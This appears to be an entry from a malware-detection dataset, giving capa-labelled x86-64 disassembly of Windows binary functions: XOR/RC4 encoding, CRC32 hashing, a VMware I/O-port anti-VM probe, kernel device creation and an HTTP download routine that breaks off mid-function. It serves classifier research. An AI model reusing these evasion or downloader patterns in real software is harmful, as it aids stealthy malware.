joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002d3e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x48
mov r14b, byte [rcx + 0x20]
xor r15b, r15b
mov r13d, r9d
mov r9d, r8d
mov ebx, edx
mov rbp, rcx
mov edi, edx
cmp r14b, 0x20
jne 0x14002d416
mov esi, 3
jmp 0x14002d41d
movzx esi, r14b
shr esi, 3
movzx eax, r14b
mov r8d, ebx
imul eax, ebx
imul r8d, r13d
imul eax, r9d
cdq
and edx, 7
add eax, edx
mov edx, ebx
sar eax, 3
movsxd r12, eax
mov eax, dword [rcx + 0x18]
imul eax, ebx
imul edx, r9d
lea r9, [rsp + 0xa8]
imul eax, r13d
cdqe
add r12, rax
lea rax, [rsp + 0x98]
add r12, qword [rcx + 0x10]
mov qword [rsp + 0x20], rax
call fcn.14002e178
mov r8d, dword [rbp + 0x24]
mov r11, rax
mov qword [rsp + 0x90], rax
lea eax, [r8 - 1]
cdq
idiv ebx
cmp dword [rsp + 0xa0], eax
jne 0x14002d4a1
lea ecx, [rbx - 1]
add ecx, r8d
mov eax, ecx
cdq
idiv ebx
mov edi, edx
sub edi, ecx
add edi, r8d
add edi, ebx
mov r8d, dword [rbp + 0x28]
lea eax, [r8 - 1]
cdq
idiv ebx
cmp r13d, eax
jne 0x14002d4c3
lea ecx, [rbx - 1]
add ecx, r8d
mov eax, ecx
cdq
idiv ebx
sub edx, ecx
add edx, r8d
add ebx, edx
test ebx, ebx
jle 0x14002d5d0
mov eax, ebx
mov qword [rsp + 0x30], rax
test r15b, r15b
jne 0x14002d53f
mov rdx, r12
mov r9, r11
test edi, edi
jle 0x14002d5aa
movsxd rax, dword [rsp + 0x98]
movzx r10d, r14b
shr r10, 3
mov qword [rsp + 0x38], rax
mov r13d, edi
test rsi, rsi
je 0x14002d526
mov r11, r9
mov r8, rdx
sub r11, rdx
mov rbx, rsi
mov cl, byte [r11 + r8]
xor cl, byte [r8]
inc r8
or r15b, cl
sub rbx, 1
jne 0x14002d50e
mov rax, qword [rsp + 0x38]
add rdx, r10
add r9, rax
sub r13, 1
jne 0x14002d4fd
mov r11, qword [rsp + 0x90]
test r15b, r15b
je 0x14002d5aa
mov r10, r12
mov rcx, r11
test edi, edi
jle 0x14002d5aa
movsxd r13, dword [rsp + 0x98]
mov ebx, edi
xor r11d, r11d
test rsi, rsi
je 0x14002d579
mov r8, r10
mov rdx, rcx
sub r8, rcx
mov r9, rsi
mov r11, rsi
mov al, byte [r8 + rdx]
mov byte [rdx], al
inc rdx
sub r9, 1
jne 0x14002d56a
cmp byte [rbp + 0x2d], 0
je 0x14002d58a
cmp byte [rbp + 0x20], 0x20
jne 0x14002d58a
mov byte [r11 + rcx], 0
movzx r14d, byte [rbp + 0x20]
add rcx, r13
mov eax, r14d
shr rax, 3
add r10, rax
sub rbx, 1
jne 0x14002d553
mov r11, qword [rsp + 0x90]
movsxd rax, dword [rbp + 0x18]
add r12, rax
movsxd rax, dword [rsp + 0xa8]
add r11, rax
sub qword [rsp + 0x30], 1
mov qword [rsp + 0x90], r11
jne 0x14002d4d2
test r15b, r15b
sete al
add rsp, 0x48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14002f1ac
Capabilities:
Reference the vmware io port

Disassembly:
mov eax, 0x5658
mov dword [rcx], 0x564d5868
mov word [rcx + 0x18], ax
jmp 0x14002f1f0
push rbx
push rsi
push rdi
mov rax, rcx
push rax
mov rdi, qword [rax + 0x28]
mov rsi, qword [rax + 0x20]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rbx, qword [rax + 8]
mov rax, qword [rax]
in eax, dx
xchg qword [rsp], rax
mov qword [rax + 0x28], rdi
mov qword [rax + 0x20], rsi
mov qword [rax + 0x18], rdx
mov qword [rax + 0x10], rcx
mov qword [rax + 8], rbx
pop qword [rax]
pop rdi
pop rsi
pop rbx
ret
Function at 0x140052000
Capabilities:
Check os version
Create device object

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x14003f3a8]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
test rcx, rcx
je 0x1400520fb
test rdx, rdx
je 0x1400520fb
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x114
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
js 0x14005206f
cmp dword [rsp + 0x54], 6
ja 0x14005205b
jne 0x14005206f
cmp dword [rsp + 0x58], 2
jb 0x14005206f
mov dword [0x140041a60], 0x200
mov dword [0x140041a64], 0x40000000
call fcn.1400129b4
call fcn.140013078
call fcn.14002f388
lea rdx, [0x1400521c0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [0x140041a98]
mov r9d, 0x23
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
mov byte [rsp + 0x28], 0
xor edx, edx
and dword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov edi, eax
test eax, eax
js 0x1400520f4
lea rax, [0x14004f8d0]
mov qword [rbx + 0x70], rax
mov qword [rbx + 0x80], rax
lea rax, [0x14004f920]
mov qword [rbx + 0xe8], rax
lea rax, [0x14004fa10]
mov qword [rbx + 0x68], rax
call fcn.140013970
jmp 0x140052100
call fcn.1400245f0
jmp 0x140052100
mov edi, 0xc000000d
mov eax, edi
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400245d0
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret
Function at 0x140005410
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [rcx]
test edx, edx
jne 0x140005438
mov dword [rcx + 4], 2
lea rax, [rcx + 4]
cmp edx, 3
jne 0x140005461
mov dword [rax], 4
cmp edx, 0x22
jne 0x14000546c
mov dword [rax], 0x4a
ret
cmp edx, 1
jne 0x140005442
mov dword [rcx + 4], edx
jmp 0x14000541d
cmp edx, 2
jne 0x14000541d
lea rax, [rcx + 4]
mov dword [rax], 3
cmp edx, 0x17
jne 0x140005604
mov dword [rax], 0x38
ret
cmp edx, 4
jne 0x140005478
mov dword [rax], 5
cmp edx, 0x23
jne 0x140005483
mov dword [rax], 0x4b
ret
cmp edx, 5
jne 0x14000548f
mov dword [rax], 6
cmp edx, 0x24
jne 0x14000549a
mov dword [rax], 0x4c
ret
cmp edx, 6
jne 0x1400054a6
mov dword [rax], 8
cmp edx, 0x25
jne 0x1400054b1
mov dword [rax], 0x4d
ret
cmp edx, 7
jne 0x1400054bd
mov dword [rax], 9
cmp edx, 0x26
jne 0x1400054c8
mov dword [rax], 0x4e
ret
cmp edx, 8
jne 0x1400054d4
mov dword [rax], 0xc
cmp edx, 0x27
jne 0x1400054df
mov dword [rax], 0x4f
ret
cmp edx, 9
jne 0x1400054eb
mov dword [rax], 0xd
cmp edx, 0x28
jne 0x1400054f6
mov dword [rax], 0x50
ret
cmp edx, 0xa
jne 0x140005502
mov dword [rax], 0x10
cmp edx, 0x29
jne 0x14000550d
mov dword [rax], 0x51
ret
cmp edx, 0xb
jne 0x140005519
mov dword [rax], 0x11
cmp edx, 0x2a
jne 0x140005524
mov dword [rax], 0x52
ret
cmp edx, 0xc
jne 0x140005530
mov dword [rax], 0x12
cmp edx, 0x2b
jne 0x14000553b
mov dword [rax], 0x53
ret
cmp edx, 0xd
jne 0x140005547
mov dword [rax], 0x13
cmp edx, 0x2c
jne 0x140005552
mov dword [rax], 0x54
ret
cmp edx, 0xe
jne 0x14000555e
mov dword [rax], 0x14
cmp edx, 0x2d
jne 0x140005569
mov dword [rax], 0x55
ret
cmp edx, 0xf
jne 0x140005575
mov dword [rax], 0x30
cmp edx, 0x2e
jne 0x140005580
mov dword [rax], 0x56
ret
cmp edx, 0x10
jne 0x14000558c
mov dword [rax], 0x31
cmp edx, 0x2f
jne 0x140005597
mov dword [rax], 0x57
ret
cmp edx, 0x11
jne 0x1400055a3
mov dword [rax], 0x32
cmp edx, 0x30
jne 0x1400055ae
mov dword [rax], 0x58
ret
cmp edx, 0x12
jne 0x1400055ba
mov dword [rax], 0x33
cmp edx, 0x31
jne 0x1400055c5
mov dword [rax], 0x59
ret
cmp edx, 0x13
jne 0x1400055d1
mov dword [rax], 0x34
cmp edx, 0x32
jne 0x1400055dc
mov dword [rax], 0x5a
ret
cmp edx, 0x14
jne 0x1400055e8
mov dword [rax], 0x35
cmp edx, 0x33
jne 0x1400055e7
mov dword [rax], 0x18
ret
cmp edx, 0x15
jne 0x1400055f4
mov dword [rax], 0x36
ret
cmp edx, 0x16
jne 0x140005451
mov dword [rax], 0x37
ret
cmp edx, 0x18
jne 0x140005610
mov dword [rax], 0x39
ret
cmp edx, 0x19
jne 0x14000561c
mov dword [rax], 0x41
ret
cmp edx, 0x1a
jne 0x140005628
mov dword [rax], 0x42
ret
cmp edx, 0x1b
jne 0x140005634
mov dword [rax], 0x43
ret
cmp edx, 0x1c
jne 0x140005640
mov dword [rax], 0x44
ret
cmp edx, 0x1d
jne 0x14000564c
mov dword [rax], 0x45
ret
cmp edx, 0x1e
jne 0x140005658
mov dword [rax], 0x46
ret
cmp edx, 0x1f
jne 0x140005664
mov dword [rax], 0x47
ret
cmp edx, 0x20
jne 0x140005670
mov dword [rax], 0x48
ret
cmp edx, 0x21
jne 0x14000542c
mov dword [rax], 0x49
ret
Function at 0x1400095c0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000961d
lea rbx, [0x14004fb40]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140009604
cmp r10, 2
jb 0x140009604
cmp byte [r9], r8b
jne 0x140009604
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400095e0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000965f
lea rbx, [0x14004fb40]
cmp r8b, 0x23
jne 0x140009643
cmp byte [r9], r8b
jne 0x140009643
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140009630
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x1400097a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x1400097ba
mov qword [r8], 0
lea rdx, [0x14004f734]
call fcn.140009670
mov rbx, rax
test rax, rax
jne 0x1400097da
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x1400098b1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400098b1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1400098b1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400098b1
cmp rdi, 0xffffffffffffffff
je 0x1400098b1
mov rax, qword [0x1401d4788]
test rax, rax
je 0x14000984e
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400098b1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000989e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1401d4788]
test rax, rax
je 0x140009893
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400098ba
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x1400098ac
mov qword [r14], rdi
mov rax, rsi
jmp 0x1400098bc
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000c230
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x14004fb40]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [0x1401d4788]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3ec4], ebx
jne 0x14000c2c6
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.14001f1c0
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000c2d0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xd8]
lea r9, [0x14004fb40]
movss xmm2, dword [rcx + 0xf0]
movss xmm3, dword [rcx + 0xf4]
movsxd rcx, dword [rcx + 0xd0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x140018b60
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14005e010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401d4788]
mov edi, ecx
cmp byte [rbx + 0x423d], 0
jne 0x140018bc1
cmp byte [rbx + 0x423e], 0
jne 0x140018bc1
movsx r9d, word [rbx + 0x5332]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140009480
test dil, 1
je 0x140018ce8
jmp 0x140018c4a
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5332]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140054f30]
mulss xmm1, dword [0x140054f10]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x3fa8], rax
mov dword [rbx + 0x3f94], 1
movss dword [rbx + 0x3fa0], xmm0
movss dword [rbx + 0x3fa4], xmm1
movss xmm0, dword [rbx + 0x38f4]
mulss xmm0, dword [0x140054e40]
or dword [rbx + 0x3f90], 0x41
movss dword [rbx + 0x3ff0], xmm0
call fcn.140009480
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140018ca0
lea r11, [0x14004fb40]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x140018c83
cmp byte [r8], r9b
jne 0x140018c83
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140018c70
not ecx
call fcn.1400118c0
test rax, rax
je 0x140018ce8
cmp byte [rax + 0x96], 0
je 0x140018ce8
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5332]
mov edx, 0x10
movsx r9d, word [rbx + 0x5332]
call fcn.140009480
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.140014020
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14004bff0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14001dd50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x53e0], 0
lea rbx, [rcx + 0x53e8]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001ddf7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001ddaa
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001fec0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140009f30
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x53e0]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x53f0]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1401d4798]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001ddff
mov rcx, rbx
call fcn.140009f30
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14001e370
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1401d4788]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14001e3d3
mov qword [rsp], rbx
lea rbx, [0x14004fb40]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001e3b3
cmp byte [r8], r9b
jne 0x14001e3b3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14001e3a0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5390]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14001e407
mov r10, qword [r10 + 0x5398]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14001e40e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14001e3f4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14004ae90
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x14005e010]
xor rax, rsp
mov qword [rsp + 0xd0], rax
xor esi, esi
lea r8, [0x140048960]
mov rbx, rcx
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rax, [0x140047bb0]
mov qword [rsp + 0x70], 0x50
mov edx, 0x7f00
mov qword [rsp + 0x78], rax
xor ecx, ecx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rsi
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x90], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
xorps xmm0, xmm0
lea rdi, [0x140054388]
mov edx, 0x7f00
mov qword [rsp + 0x98], rax
xor ecx, ecx
movdqa xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rdi
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0xb8], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rsp + 0x88]
mov r9d, 0x80000000
mov qword [rsp + 0x58], rsi
mov r8, rdi
mov qword [rsp + 0x50], rax
mov rdx, rdi
mov eax, dword [rsp + 0x6c]
xor ecx, ecx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea edx, [rsi - 0x14]
mov r8d, 0x80020
mov rcx, rax
mov qword [rbx + 0x50], rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov rcx, qword [rbx + 0x50]
lea r9d, [rsi + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140055050]
lea rdx, [rsp + 0xc0]
mov rcx, qword [rbx + 0x50]
movdqu xmmword [rsp + 0xc0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [rbx + 0x50]
lea edx, [rsi + 5]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdx, qword [rbx + 0x50]
mov rcx, rbx
call fcn.140048570
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.14004a680
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14004bff0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14004cc88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004ccd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004ccd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004ccd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004ccd2
cmp dword [rcx + 0x84], 0xe
jbe 0x14004ccd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004ccd4
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov dword [0x14000c004], r8d
test edx, edx
jle 0x14000104e
mov r9d, edx
mov r10d, edx
xor r11d, r11d
imul eax, dword [0x14000c004], 0x41c64e6d
add eax, 0x3039
mov bl, byte [rcx + r11]
xor bl, r8b
mov dword [0x14000c004], eax
shr eax, 0x10
and eax, 0x7fff
xor edx, edx
idiv r9d
inc dl
xor dl, bl
mov byte [rcx + r11], dl
inc r11
cmp r10, r11
jne 0x140001015
pop rbx
ret
Function at 0x140001da8
Capabilities:
Check http status code

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, r8
mov edi, edx
mov rbx, rcx
mov edx, dword [0x14000c010]
sub edx, dword [0x14000c014]
mov dword [rsp + 0x20], edx
lea rcx, str.User_Agent
xor r8d, r8d
xor r9d, r9d
call qword [0x14000c960]
mov qword [0x14000c900], rax
test rax, rax
je 0x140002017
mov rcx, rax
mov rdx, rbx
mov r8d, edi
xor r9d, r9d
call qword [0x14000c968]
mov qword [0x14000c908], rax
test rax, rax
je 0x140002017
mov ecx, dword [0x14000c010]
sub ecx, dword [0x14000c014]
mov dword [rsp + 0x30], ecx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea rdx, [0x140009116]
lea r9, str.HTTP_1.1
mov rcx, rax
mov r8, rsi
call qword [0x14000c970]
mov qword [0x14000c910], rax
test rax, rax
je 0x140002017
mov r8d, dword [0x14000c010]
sub r8d, dword [0x14000c014]
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
mov rcx, rax
xor edx, edx
xor r9d, r9d
call qword [0x14000c978]
mov rcx, qword [0x14000c910]
xor edx, edx
call qword [0x14000c980]
lea rsi, [rsp + 0x4c]
mov dword [rsi], 0
lea rbx, [rsp + 0x44]
mov dword [rbx], 4
mov edx, dword [0x14000c010]
sub edx, dword [0x14000c014]
lea eax, [rdx + 0x13]
add edx, 0x20000000
or edx, eax
mov rcx, qword [0x14000c910]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov r9, rsi
call qword [0x14000c9a0]
cmp dword [rsi], 0xc8
jne 0x140002017
mov edx, dword [0x14000c010]
sub edx, dword [0x14000c014]
add edx, 0x16
mov rcx, qword [0x14000c910]
xor edi, edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x14000c9a0]
mov r8d, dword [0x14000c010]
sub r8d, dword [0x14000c014]
lea r9d, [r8 + 4]
lea eax, [r8 + 0x1000]
add r8d, 0x2000
or r8d, eax
mov edx, dword [rsp + 0x44]
xor ecx, ecx
call qword [0x14000c9c8]
mov rsi, rax
mov edx, dword [0x14000c010]
sub edx, dword [0x14000c014]
add edx, 0xffff
mov rcx, qword [0x14000c910]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea r8, str.Content_Length
mov r9, rax
call qword [0x14000c9a0]
mov dword [0x14000c8f8], 0
movzx eax, word [rsi]
test ax, ax
je 0x140001fac
mov rcx, rsi
add rcx, 2
lea edx, [rdi + rdi*4]
movzx eax, ax
lea edi, [rax + rdx*2]
add edi, 0xffffffd0
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x140001f8e
mov dword [0x14000c8f8], edi
mov edx, dword [rsp + 0x44]
mov rcx, rsi
mov r8d, 0x8000
call qword [0x14000c9d0]
mov r8d, dword [0x14000c010]
sub r8d, dword [0x14000c014]
lea r9d, [r8 + 4]
lea eax, [r8 + 0x1000]
add r8d, 0x2000
or r8d, eax
mov edx, dword [0x14000c8f8]
xor ecx, ecx
call qword [0x14000c9c8]
mov qword [0x14000c8f0], rax
mov r8d, dword [0x14000c8f8]
mov rcx, qword [0x14000c910]
